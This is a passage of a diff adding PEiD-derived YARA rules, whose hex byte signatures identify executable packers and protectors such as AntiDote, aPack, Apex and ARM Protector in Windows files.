+        $a = {00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 56 69 72 74 75 61 6C 50 72 6F 74 65 63 74 00 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 00 00 56 69 72 74 75 61 6C 46 72 65 65 00 00 00 47 65 74 53 79 73 74 65 6D 44 69 72 65 63 74 6F 72 79 41 00 00 00 43 72 65 61 74 65 46 69 6C 65 41 00 00 00 57 72 69 74 65 46 69 6C 65 00 00 00 43 6C 6F 73 65 48 61 6E 64 6C 65 00 00 00 45 78 69 74 50 72 6F 63 65 73 73 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00075_Anti007_V2_7_V3_5____NsPacK_Private_
+{
+    meta:
+        description = "[Anti007 V2.7-V3.5 -> NsPacK Private]"
+        ep_only = "true"
+    strings:
+        $a = {00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 56 69 72 74 75 61 6C 50 72 6F 74 65 63 74 00 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 00 00 56 69 72 74 75 61 6C 46 72 65 65 00 00 00 47 65 74 54}
+    condition:
+        $a
+}
+rule PEiD_00076_Anticrack_Software_Protector_v1_09__ACProtect__
+{
+    meta:
+        description = "[Anticrack Software Protector v1.09 (ACProtect)]"
+        ep_only = "true"
+    strings:
+        $a = {60 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? E8 01 00 00 00 ?? 83 04 24 06 C3 ?? ?? ?? ?? ?? 00}
+    condition:
+        $a
+}
+
+rule PEiD_00077_AntiDote_1_0_Beta____SIS_Team_
+{
+    meta:
+        description = "[AntiDote 1.0 Beta -> SIS-Team]"
+        ep_only = "true"
+    strings:
+        $a = {E8 BB FF FF FF 84 C0 74 2F 68 04 01 00 00 68 C0 23 60 00 6A 00 FF 15 08 10 60 00 E8 40 FF FF FF 50 68 78 11 60 00 68 68 11 60 00 68 C0 23 60 00 E8 AB FD FF FF 83 C4 10 33 C0 C2 10 00 90 90 90 8B 4C 24 08 56 8B 74 24 08 33 D2 8B C6 F7 F1 8B C6 85 D2 74 08 33 D2 F7 F1 40 0F AF C1 5E C3 90 8B 44 24 04 53 55 56 8B 48 3C 57 03 C8 33 D2 8B 79 54 8B 71 38 8B C7 F7 F6 85 D2 74 0C 8B C7 33 D2 F7 F6 8B F8 47 0F AF FE 33 C0 33 DB 66 8B 41 14 8D 54 08 18 33 C0 66 8B 41 06 89 54 24 14 8D 68 FF 85 ED 7C 37 33 C0}
+    condition:
+        $a
+}
+
+rule PEiD_00078_AntiDote_1_0_beta____Spy_Instructor_
+{
+    meta:
+        description = "[AntiDote 1.0 beta -> Spy Instructor]"
+        ep_only = "true"
+    strings:
+        $a = {E8 BB FF FF FF 84 C0 74 2F 68 04 01 00 00 68 C0 23 60 00 6A 00 FF 15 08 10 60 00 E8 40 FF FF FF 50 68 78 11 60 00 68 68 11 60 00 68 C0 23 60 00 E8 AB FD FF FF 83 C4 10 33 C0 C2 10 00 90 90 90 8B 4C 24 08 56 8B 74 24 08 33 D2 8B C6 F7 F1 8B C6 85 D2 74 08}
+    condition:
+        $a
+}
+
+rule PEiD_00079_AntiDote_1_0_beta____Spy_Instructor_
+{
+    meta:
+        description = "[AntiDote 1.0 beta -> Spy Instructor]"
+        ep_only = "true"
+    strings:
+        $a = {E8 BB FF FF FF 84 C0 74 2F 68 04 01 00 00 68 C0 23 60 00 6A 00 FF 15 08 10 60 00 E8 40 FF FF FF 50 68 78 11 60 00 68 68 11 60 00 68 C0 23 60 00 E8 AB FD FF FF 83 C4 10 33 C0 C2 10 00 90 90 90 8B 4C 24 08 56 8B 74 24 08 33 D2 8B C6 F7 F1 8B C6 85 D2 74 08 33 D2 F7 F1 40 0F AF C1 5E C3 90 8B 44 24 04 53 55 56 8B 48 3C 57 03 C8 33 D2 8B 79 54 8B 71 38 8B C7 F7 F6 85 D2 74 0C 8B C7 33 D2 F7 F6 8B F8 47 0F AF FE 33 C0 33 DB 66 8B 41 14 8D 54 08 18 33 C0 66 8B 41 06 89 54 24 14 8D 68 FF 85 ED 7C 37 33 C0 8B 4C 24 14 8D 04 80 8B 4C C1 08 85 C9 74 1A 8B C1 33 D2 F7 F6 85 D2 75 04 03 F9 EB 0C 8B C1 33 D2 F7 F6 40 0F AF C6 03 F8 43 8B C3 25 FF FF 00 00 3B C5 7E CB 8B C7 5F 5E 5D 5B C3 90 90 90 90 90 90 90 90 90 90 90 90 55 8B EC 6A FF 68 50 22 60 00 64 A1 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00080_AntiDote_1_0_Demo___1_2____SIS_Team_
+{
+    meta:
+        description = "[AntiDote 1.0 Demo / 1.2 -> SIS-Team]"
+        ep_only = "false"
+    strings:
+        $a = {00 00 00 00 09 01 47 65 74 43 6F 6D 6D 61 6E 64 4C 69 6E 65 41 00 DB 01 47 65 74 56 65 72 73 69 6F 6E 45 78 41 00 73 01 47 65 74 4D 6F 64 75 6C 65 46 69 6C 65 4E 61 6D 65 41 00 00 7A 03 57 61 69 74 46 6F 72 53 69 6E 67 6C 65 4F 62 6A 65 63 74 00 BF 02 52 65 73 75 6D 65 54 68 72 65 61 64 00 00 29 03 53 65 74 54 68 72 65 61 64 43 6F 6E 74 65 78 74 00 00 94 03 57 72 69 74 65 50 72 6F 63 65 73 73 4D 65 6D 6F 72 79 00 00 6B 03 56 69 72 74 75 61 6C 41 6C 6C 6F 63 45 78 00 00 A6 02 52 65 61 64 50 72 6F 63 65 73 73 4D 65 6D 6F 72 79 00 CA 01 47 65 74 54 68 72 65 61 64 43 6F 6E 74 65 78 74 00 00 62 00 43 72 65 61 74 65 50 72 6F 63 65 73 73 41 00 00 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C}
+    condition:
+        $a
+}
+
+rule PEiD_00081_AntiDote_1_0_Demo____SIS_Team_
+{
+    meta:
+        description = "[AntiDote 1.0.Demo -> SIS-Team]"
+        ep_only = "true"
+    strings:
+        $a = {00 00 00 00 09 01 47 65 74 43 6F 6D 6D 61 6E 64 4C 69 6E 65 41 00 DB 01 47 65 74 56 65 72 73 69 6F 6E 45 78 41 00 73 01 47 65 74 4D 6F 64 75 6C 65 46 69 6C 65 4E 61 6D 65 41 00 00 7A 03 57 61 69 74 46 6F 72 53 69 6E 67 6C 65 4F 62 6A 65 63 74 00 BF 02 52}
+    condition:
+        $a
+}
+rule PEiD_00082_AntiDote_1_0_Demo____SIS_Team_
+{
+    meta:
+        description = "[AntiDote 1.0.Demo -> SIS-Team]"
+        ep_only = "false"
+    strings:
+        $a = {00 00 00 00 09 01 47 65 74 43 6F 6D 6D 61 6E 64 4C 69 6E 65 41 00 DB 01 47 65 74 56 65 72 73 69 6F 6E 45 78 41 00 73 01 47 65 74 4D 6F 64 75 6C 65 46 69 6C 65 4E 61 6D 65 41 00 00 7A 03 57 61 69 74 46 6F 72 53 69 6E 67 6C 65 4F 62 6A 65 63 74 00 BF 02 52 65 73 75 6D 65 54 68 72 65 61 64 00 00 29 03 53 65 74 54 68 72 65 61 64 43 6F 6E 74 65 78 74 00 00 94 03 57 72 69 74 65 50 72 6F 63 65 73 73 4D 65 6D 6F 72 79 00 00 6B 03 56 69 72 74 75 61 6C 41 6C 6C 6F 63 45 78 00 00 A6 02 52 65 61 64 50 72 6F 63 65 73 73 4D 65 6D 6F 72 79 00 CA 01 47 65 74 54 68 72 65 61 64 43 6F 6E 74 65 78 74 00 00 62 00 43 72 65 61 74 65 50 72 6F 63 65 73 73 41 00 00 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 00 DC 01 4D 65 73 73 61 67 65 42 6F 78 41 00 26 00 43 68 61 72 4C 6F 77 65 72 41 00 00 55 53 45 52 33 32 2E 64 6C 6C 00 00 C5 02 73 74 72 73 74 72 00 00 91 02 6D 61 6C 6C 6F 63 00 00 5E 02 66 72 65 65 00 00 4C 02 66 63 6C 6F 73 65 00 00 DA 00 5F 66 69 6C 62 75 66 00 64 02 66 74 65 6C 6C 00 62 02 66 73 65 65 6B 00 57 02 66 6F 70 65 6E 00 49 00 5F 5F 43 78 78 46 72 61 6D 65 48 61 6E 64 6C 65 72 00 4D 53 56 43 52 54 2E 64 6C 6C 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00083_AntiDote_1_2_Beta__Demo_____SIS_Team_
+{
+    meta:
+        description = "[AntiDote 1.2 Beta (Demo) -> SIS-Team]"
+        ep_only = "true"
+    strings:
+        $a = {68 69 D6 00 00 E8 C6 FD FF FF 68 69 D6 00 00 E8 BC FD FF FF 83 C4 08 E8 A4 FF FF FF 84 C0 74 2F 68 04 01 00 00 68 B0 21 60 00 6A 00 FF 15 08 10 60 00 E8 29 FF FF FF 50 68 88 10 60 00 68 78 10 60 00 68 B0 21 60 00 E8 A4 FD FF FF 83 C4 10 33 C0 C2 10 00 90 90 90 90 90 90 90 90 90 90 90 90 8B 4C 24 08 56 8B 74 24 08 33 D2 8B C6 F7 F1 8B C6 85 D2 74 08 33 D2 F7 F1 40 0F AF C1 5E C3 90 8B 44 24 04 53 55 56 8B 48 3C 57 03 C8 33 D2 8B 79 54 8B 71 38 8B C7 F7 F6 85 D2 74 0C 8B C7 33 D2 F7 F6 8B F8 47 0F AF FE 33 C0 33 DB 66 8B 41 14 8D 54 08 18 33 C0}
+    condition:
+        $a
+}
+
+rule PEiD_00084_AntiDote_1_2_Demo____SIS_Team_
+{
+    meta:
+        description = "[AntiDote 1.2.Demo -> SIS-Team]"
+        ep_only = "true"
+    strings:
+        $a = {E8 F7 FE FF FF 05 CB 22 00 00 FF E0 E8 EB FE FF FF 05 BB 19 00 00 FF E0 E8 BD 00 00 00 08 B2 62 00 01 52 17 0C 0F 2C 2B 20 7F 52 79 01 30 07 17 29 4F 01 3C 30 2B 5A 3D C7 26 11 26 06 59 0E 78 2E 10 14 0B 13 1A 1A 3F 64 1D 71 33 57 21 09 24 8B 1B 09 37 08 61 0F 1D 1D 2A 01 87 35 4C 07 39 0B}
+    condition:
+        $a
+}
+
+rule PEiD_00085_AntiDote_1_2_DLL_Demo____SIS_Team_
+{
+    meta:
+        description = "[AntiDote 1.2.DLL.Demo -> SIS-Team]"
+        ep_only = "true"
+    strings:
+        $a = {EB 10 66 62 3A 43 2B 2B 48 4F 4F 4B 90 E9 08 32 90 90 90 90 90 90 90 90 90 90 80 7C 24 08 01 0F 85 ?? ?? ?? ?? 60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 57 83 CD FF EB 0B 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B}
+    condition:
+        $a
+}
+
+rule PEiD_00086_AntiDote_1_2_DLL_Demo____SIS_Team_
+{
+    meta:
+        description = "[AntiDote 1.2.DLL.Demo -> SIS-Team]"
+        ep_only = "true"
+    strings:
+        $a = {EB 10 66 62 3A 43 2B 2B 48 4F 4F 4B 90 E9 08 32 90 90 90 90 90 90 90 90 90 90 80 7C 24 08 01 0F 85 ?? ?? ?? ?? 60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 57 83 CD FF EB 0B 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 EF 75 09 8B 1E 83 EE FC 11 DB 73 E4 31 C9 83 E8 03 72 0D C1 E0 08 8A 06 46 83 F0 FF 74 74 89 C5 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C9 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C9 75 20 41 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C9 01 DB 73 EF 75 09 8B 1E 83 EE FC 11 DB 73 E4 83 C1 02 81 FD 00 F3 FF FF 83 D1 01 8D 14 2F 83 FD FC 76 0F 8A 02 42 88 07 47 49 75 F7 E9 63 FF FF FF 90 8B 02 83 C2 04 89 07 83 C7 04 83 E9 04 77 F1 01 CF E9 4C FF FF FF}
+    condition:
+        $a
+}
+rule PEiD_00087_AntiDote_1_2_1_4_SE_DLL____SIS_Team_
+{
+    meta:
+        description = "[AntiDote 1.2/1.4 SE DLL -> SIS-Team]"
+        ep_only = "true"
+    strings:
+        $a = {EB 10 66 62 3A 43 2B 2B 48 4F 4F 4B 90 E9 08 32 90 90 90 90 90 90 90 90 90 90 80 7C 24 08 01 0F 85 ?? ?? ?? ?? 60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 57 83 CD FF EB 0B 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 ?? 75 ?? 8B 1E 83 EE FC 11 DB}
+    condition:
+        $a
+}
+
+rule PEiD_00088_AntiDote_1_4_SE____SIS_Team_
+{
+    meta:
+        description = "[AntiDote 1.4 SE -> SIS-Team]"
+        ep_only = "true"
+    strings:
+        $a = {68 90 03 00 00 E8 C6 FD FF FF 68 90 03 00 00 E8 BC FD FF FF 68 90 03 00 00 E8 B2 FD FF FF 50 E8 AC FD FF FF 50 E8 A6 FD FF FF 68 69 D6 00 00 E8 9C FD FF FF 50 E8 96 FD FF FF 50 E8 90 FD FF FF 83 C4 20 E8 78 FF FF FF 84 C0 74 4F 68 04 01 00 00 68 10 22 60 00 6A 00 FF 15 08 10 60 00 68 90 03 00 00 E8 68 FD FF FF 68 69 D6 00 00 E8 5E FD FF FF 50 E8 58 FD FF FF 50 E8 52 FD FF FF E8 DD FE FF FF 50 68 A4 10 60 00 68 94 10 60 00 68 10 22 60 00 E8 58 FD FF FF 83 C4 20 33 C0 C2 10 00 8B 4C 24 08 56 8B 74 24 08 33 D2 8B C6 F7 F1 8B C6 85 D2 74 08 33 D2 F7 F1 40 0F AF C1 5E C3}
+    condition:
+        $a
+}
+
+rule PEiD_00089_AntiDote_V1_2____SIS_Team___Sign_by_fly_
+{
+    meta:
+        description = "[AntiDote V1.2 -> SIS-Team ! Sign by fly]"
+        ep_only = "false"
+    strings:
+        $a = {00 00 00 00 09 01 47 65 74 43 6F 6D 6D 61 6E 64 4C 69 6E 65 41 00 DB 01 47 65 74 56 65 72 73 69 6F 6E 45 78 41 00 73 01 47 65 74 4D 6F 64 75 6C 65 46 69 6C 65 4E 61 6D 65 41 00 00 7A 03 57 61 69 74 46 6F 72 53 69 6E 67 6C 65 4F 62 6A 65 63 74 00 BF 02 52 65 73 75 6D 65 54 68 72 65 61 64 00 00 29 03 53 65 74 54 68 72 65 61 64 43 6F 6E 74 65 78 74 00 00 94 03 57 72 69 74 65 50 72 6F 63 65 73 73 4D 65 6D 6F 72 79 00 00 6B 03 56 69 72 74 75 61 6C 41 6C 6C 6F 63 45 78 00 00 A6 02 52 65 61 64 50 72 6F 63 65 73 73 4D 65 6D 6F 72 79 00 CA 01 47 65 74 54 68 72 65 61 64 43 6F 6E 74 65 78 74 00 00 62 00 43 72 65 61 74 65 50 72 6F 63 65 73 73 41 00 00 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 00 26 00 43 68 61 72 4C 6F 77 65 72 41 00 00 55 53 45 52 33 32 2E 64 6C 6C 00 00 5E 02 66 72 65 65 00 00 4C 02 66 63 6C 6F 73 65 00 00 DA 00 5F 66 69 6C 62 75 66 00 91 02 6D 61 6C 6C 6F 63 00 00 64 02 66 74 65 6C 6C 00 62 02 66 73 65 65 6B 00 57 02 66 6F 70 65 6E 00 C5 02 73 74 72 73 74 72 00 00 4D 53 56 43 52 54 2E 64 6C 6C 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00090_AntiDote_V1_2_Demo____SIS_Team_
+{
+    meta:
+        description = "[AntiDote V1.2.Demo -> SIS-Team]"
+        ep_only = "true"
+    strings:
+        $a = {E8 F7 FE FF FF 05 CB 22 00 00 FF E0 E8 EB FE FF FF 05 BB 19 00 00 FF E0 E8 BD 00 00 00 08 B2 62 00 01 52 17 0C 0F 2C 2B 20 7F 52 79 01 30 07 17 29 4F 01 3C 30 2B 5A 3D C7 26 11 26 06 59 0E 78 2E 10 14 0B 13 1A 1A 3F 64 1D 71 33 57 21 09 24 8B 1B 09 37 08}
+    condition:
+        $a
+}
+
+rule PEiD_00091_AntiDote_v1_4_osCE__Sing_by_osC__CoDeR_
+{
+    meta:
+        description = "[AntiDote v1.4 osCE *Sing by osC++CoDeR]"
+        ep_only = "true"
+    strings:
+        $a = {68 95 01 00 00 E8 D0 FD FF FF 68 95 01 00 00 E8 C3 FD FF FF 68 90 03 00 00 E8 BC FD FF FF 68 90 03 00 00 E8 B2 FD FF FF 50 E8 AC FD FF FF 50 E8 A6 FD FF FF 68 69 D6 00 00 E8 9C FD FF FF 50 E8 96 FD FF FF 50 E8 90 FD FF FF 83 C4 20 E8 78 FF FF FF 84 C0 74}
+    condition:
+        $a
+}
+
+rule PEiD_00092_AntiDote_V1_x____SIS_Team_
+{
+    meta:
+        description = "[AntiDote V1.x -> SIS-Team]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? 00 00 E8 ?? FD FF FF 68 ?? ?? 00 00 E8 ?? FD FF FF 68 90 03 00 00 E8 ?? FD FF FF ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? FD FF FF}
+    condition:
+        $a
+}
+
+rule PEiD_00093_AntiVirus_Vaccine_v_1_03_
+{
+    meta:
+        description = "[AntiVirus Vaccine v.1.03]"
+        ep_only = "true"
+    strings:
+        $a = {FA 33 DB B9 ?? ?? 0E 1F 33 F6 FC AD 35 ?? ?? 03 D8 E2}
+    condition:
+        $a
+}
+
+rule PEiD_00094_aPack_v0_62_
+{
+    meta:
+        description = "[aPack v0.62]"
+        ep_only = "true"
+    strings:
+        $a = {1E 06 8C C8 8E D8 ?? ?? ?? 8E C0 50 BE ?? ?? 33 FF FC B6}
+    condition:
+        $a
+}
+rule PEiD_00095_aPack_v0_82_
+{
+    meta:
+        description = "[aPack v0.82]"
+        ep_only = "true"
+    strings:
+        $a = {1E 06 8C CB BA ?? ?? 03 DA 8D ?? ?? ?? FC 33 F6 33 FF 48 4B 8E C0 8E DB}
+    condition:
+        $a
+}
+
+rule PEiD_00096_aPack_v0_98__m_
+{
+    meta:
+        description = "[aPack v0.98 -m]"
+        ep_only = "false"
+    strings:
+        $a = {1E 06 8C C8 8E D8 05 ?? ?? 8E C0 50 BE ?? ?? 33 FF FC B2 ?? BD ?? ?? 33 C9 50 A4 BB ?? ?? 3B F3 76}
+    condition:
+        $a
+}
+
+rule PEiD_00097_aPack_v0_98b__com__
+{
+    meta:
+        description = "[aPack v0.98b (com)]"
+        ep_only = "false"
+    strings:
+        $a = {BE ?? ?? BF ?? ?? 8B CF FC 57 F3 A4 C3 BF ?? ?? 57 57 BE ?? ?? B2 ?? BD ?? ?? 50 A4}
+    condition:
+        $a
+}
+
+rule PEiD_00098_aPack_v0_98b__DS___ES_not_saved__
+{
+    meta:
+        description = "[aPack v0.98b (DS & ES not saved)]"
+        ep_only = "false"
+    strings:
+        $a = {8C CB BA ?? ?? 03 DA FC 33 F6 33 FF 4B 8E DB 8D ?? ?? ?? 8E C0 B9 ?? ?? F3 A5 4A 75}
+    condition:
+        $a
+}
+
+rule PEiD_00099_aPack_v0_98b__exe__
+{
+    meta:
+        description = "[aPack v0.98b (exe)]"
+        ep_only = "false"
+    strings:
+        $a = {93 07 1F 05 ?? ?? 8E D0 BC ?? ?? EA}
+    condition:
+        $a
+}
+
+rule PEiD_00100_APatch_GUI_v1_1_
+{
+    meta:
+        description = "[APatch GUI v1.1]"
+        ep_only = "true"
+    strings:
+        $a = {52 31 C0 E8 FF FF FF FF}
+    condition:
+        $a
+}
+rule PEiD_00101_Apex_3_0_alpha____500mhz_
+{
+    meta:
+        description = "[Apex 3.0 alpha -> 500mhz]"
+        ep_only = "false"
+    strings:
+        $a = {5F B9 14 00 00 00 51 BE 00 10 40 00 B9 00 ?? ?? 00 8A 07 30 06 46 E2 FB 47 59 E2 EA 68 ?? ?? ?? 00 C3}
+    condition:
+        $a
+}
+
+rule PEiD_00102_APEX_C__BLT_Apex_4_0_____500mhz_
+{
+    meta:
+        description = "[APEX_C (BLT Apex 4.0) -> 500mhz]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? B9 FF FF FF 00 01 D0 F7 E2 72 01 48 E2 F7 B9 FF 00 00 00 8B 34 24 80 36 FD 46 E2 FA C3}
+    condition:
+        $a
+}
+
+rule PEiD_00103_Apex_c_beta____500mhz_
+{
+    meta:
+        description = "[Apex_c beta -> 500mhz]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? B9 FF FF FF 00 01 D0 F7 E2 72 01 48 E2 F7 B9 FF 00 00 00 8B 34 24 80 36 FD 46 E2 FA C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00104_Apex_c_beta____500mhz_
+{
+    meta:
+        description = "[Apex_c beta -> 500mhz]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? B9 FF FF FF 00 01 D0 F7 E2 72 01 48 E2 F7 B9 FF 00 00 00 8B 34 24 80 36 FD 46 E2 FA C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+rule PEiD_00105_App_Encryptor____Silent_Team_
+{
+    meta:
+        description = "[App Encryptor -> Silent Team]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 81 ED 1F 1F 40 00 B9 7B 09 00 00 8D BD 67 1F 40 00 8B F7 AC}
+    condition:
+        $a
+}
+
+rule PEiD_00106_App_Protector____Silent_Team_
+{
+    meta:
+        description = "[App Protector -> Silent Team]"
+        ep_only = "true"
+    strings:
+        $a = {E9 97 00 00 00 0D 0A 53 69 6C 65 6E 74 20 54 65 61 6D 20 41 70 70 20 50 72 6F 74 65 63 74 6F 72 0D 0A 43 72 65 61 74 65 64 20 62 79 20 53 69 6C 65 6E 74 20 53 6F 66 74 77 61 72 65 0D 0A 54 68 65 6E 6B 7A 20 74 6F 20 44 6F 63 68 74 6F 72 20 58 0D 0A 0D 0A}
+    condition:
+        $a
+}
+
+rule PEiD_00107_App_Protector____Silent_Team_
+{
+    meta:
+        description = "[App Protector -> Silent Team]"
+        ep_only = "true"
+    strings:
+        $a = {E9 97 00 00 00 0D 0A 53 69 6C 65 6E 74 20 54 65 61 6D 20 41 70 70 20 50 72 6F 74 65 63 74 6F 72 0D 0A 43 72 65 61 74 65 64 20 62 79 20 53 69 6C 65 6E 74 20 53 6F 66 74 77 61 72 65 0D 0A 54 68 65 6E 6B 7A 20 74 6F 20 44 6F 63 68 74 6F 72 20 58 0D 0A 0D 0A 54 68 69 73 20 69 73 20 53 50 61 6B 65 64 20 41 70 70 6C 69 63 61 74 69 6F 6E 0D 0A 53 50 41 4B 20 63 6F 6D 70 72 69 6D 61 74 69 6F 6E 20 73 79 73 74 65 6D 20 69 73 20 AE 53 69 6C 65 6E 74 20 54 65 61 6D 99 0D 0A 60 E8 01 00 00 00 E8 83 C4 04 E8 01 00 00 00 E9 5D 81 ED 76 22 40 00 E8 04 02 00 00 E8 EB 08 EB 02 CD 20 FF 24 24 9A 66 BE 47 46 E8 01 00 00 00 9A 59 8D 95 C8 22 40 00 E8 01 00 00 00 69 58 66 BF 4D 4A E8 BF 01 00 00 8D 52 F9 E8 01 00 00 00 E8 5B 68 CC FF E2 9A FF E4 69 FF A5 E4 24 40 00 E9 E8 B9 FF}
+    condition:
+        $a
+}
+
+rule PEiD_00108_ARC_SFX_Archive_
+{
+    meta:
+        description = "[ARC-SFX Archive]"
+        ep_only = "true"
+    strings:
+        $a = {8C C8 8C DB 8E D8 8E C0 89 ?? ?? ?? 2B C3 A3 ?? ?? 89 ?? ?? ?? BE ?? ?? B9 ?? ?? BF ?? ?? BA ?? ?? FC AC 32 C2 8A D8}
+    condition:
+        $a
+}
+
+rule PEiD_00109_ARJ_SFX_Custom_
+{
+    meta:
+        description = "[ARJ SFX Custom]"
+        ep_only = "true"
+    strings:
+        $a = {60 BE 15 F0 40 00 8D BE EB 1F FF FF 57 83 CD FF EB 10 90 90 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73}
+    condition:
+        $a
+}
+
+rule PEiD_00110_ARJ_SFX_Custom_
+{
+    meta:
+        description = "[ARJ SFX Custom]"
+        ep_only = "true"
+    strings:
+        $a = {64 A1 00 00 00 00 55 8B EC 6A FF 68 18 C0 40 00 68 C4 A1 40 00 50 64 89 25 00 00 00 00 83 EC 60 53 56 57 89 65 E8 FF 15 38 03 41 00 A3 D0 D6 40 00 33 C0 A0 D1 D6 40 00 A3 DC D6 40 00 A1 D0 D6}
+    condition:
+        $a
+}
+
+rule PEiD_00111_ARJ_SFX_Custom_
+{
+    meta:
+        description = "[ARJ SFX Custom]"
+        ep_only = "true"
+    strings:
+        $a = {B8 ?? ?? ?? ?? 66 9C 60 50 8D 90 5C 01 00 00 68 00 00 40 00 83 3A 00 0F 84 C6 C1 FF FF 8B 04 24 8B 0A 0F BA F1 1F 73 13 FD 8B F0 8B F8 03 72 04 03 7A 08 F3 A5 83 C2 0C FC EB D9 83 C2 10 8B 5A}
+    condition:
+        $a
+}
+
+rule PEiD_00112_ARM_Protector_0_1_by_SMoKE_
+{
+    meta:
+        description = "[ARM Protector 0.1 by SMoKE]"
+        ep_only = "false"
+    strings:
+        $a = {E8 04 00 00 00 83 60 EB 0C 5D EB 05 45 55 EB 04 B8 EB F9 00 C3 E8 00 00 00 00 5D EB 01 00 81 ED 5E 1F 40 00 EB 02 83 09 8D B5 EF 1F 40 00 EB 02 83 09 BA A3 11 00 00 EB 01 00 8D 8D 92 31 40 00 8B 09 E8 14 00 00 00 83 EB 01 00 8B FE E8 00 00 00 00 58 83 C0}
+    condition:
+        $a
+}
+rule PEiD_00113_ARM_Protector_0_2___SMoKE_
+{
+    meta:
+        description = "[ARM Protector 0.2-> SMoKE]"
+        ep_only = "false"
+    strings:
+        $a = {E8 04 00 00 00 83 60 EB 0C 5D EB 05 45 55 EB 04 B8 EB F9 00 C3 E8 00 00 00 00 5D EB 01 00 81 ED 09 20 40 00 EB 02 83 09 8D B5 9A 20 40 00 EB 02 83 09 BA 0B 12 00 00 EB 01 00 8D 8D A5 32 40 00}
+    condition:
+        $a
+}
+
+rule PEiD_00114_ARM_Protector_0_3___by_SMoKE_
+{
+    meta:
+        description = "[ARM Protector 0.3 - by SMoKE]"
+        ep_only = "false"
+    strings:
+        $a = {E8 04 00 00 00 83 60 EB 0C 5D EB 05 45 55 EB 04 B8 EB F9 00 C3 E8 00 00 00 00 5D EB 01 00 81 ED 13 24 40 00 EB 02 83 09 8D B5 A4 24 40 00 EB 02 83 09 BA 4B 15 00 00 EB 01 00 8D 8D EF 39 40 00 8B 09 E8 14 00 00 00 83 EB 01 00 8B FE E8 00 00 00 00 58 83 C0 07 50 C3 00 EB 04 58 40 50 C3 8A 06 46 EB 01 00 D0 C8 E8 14 00 00 00 83 EB 01 00 2A C2 E8 00 00 00 00 5B 83 C3 07 53 C3 00 EB 04 5B 43 53 C3 EB 01 00 32 C2 E8 0B 00 00 00 00 32 C1 EB 01 00 C0 C0 02 EB 09 2A C2 5B EB 01 00 43 53 C3 88 07 EB 01 00 47 4A 75 B4}
+    condition:
+        $a
+}
+
+rule PEiD_00115_ARM_Protector_v0_1_by_SMoKE_
+{
+    meta:
+        description = "[ARM Protector v0.1 by SMoKE]"
+        ep_only = "false"
+    strings:
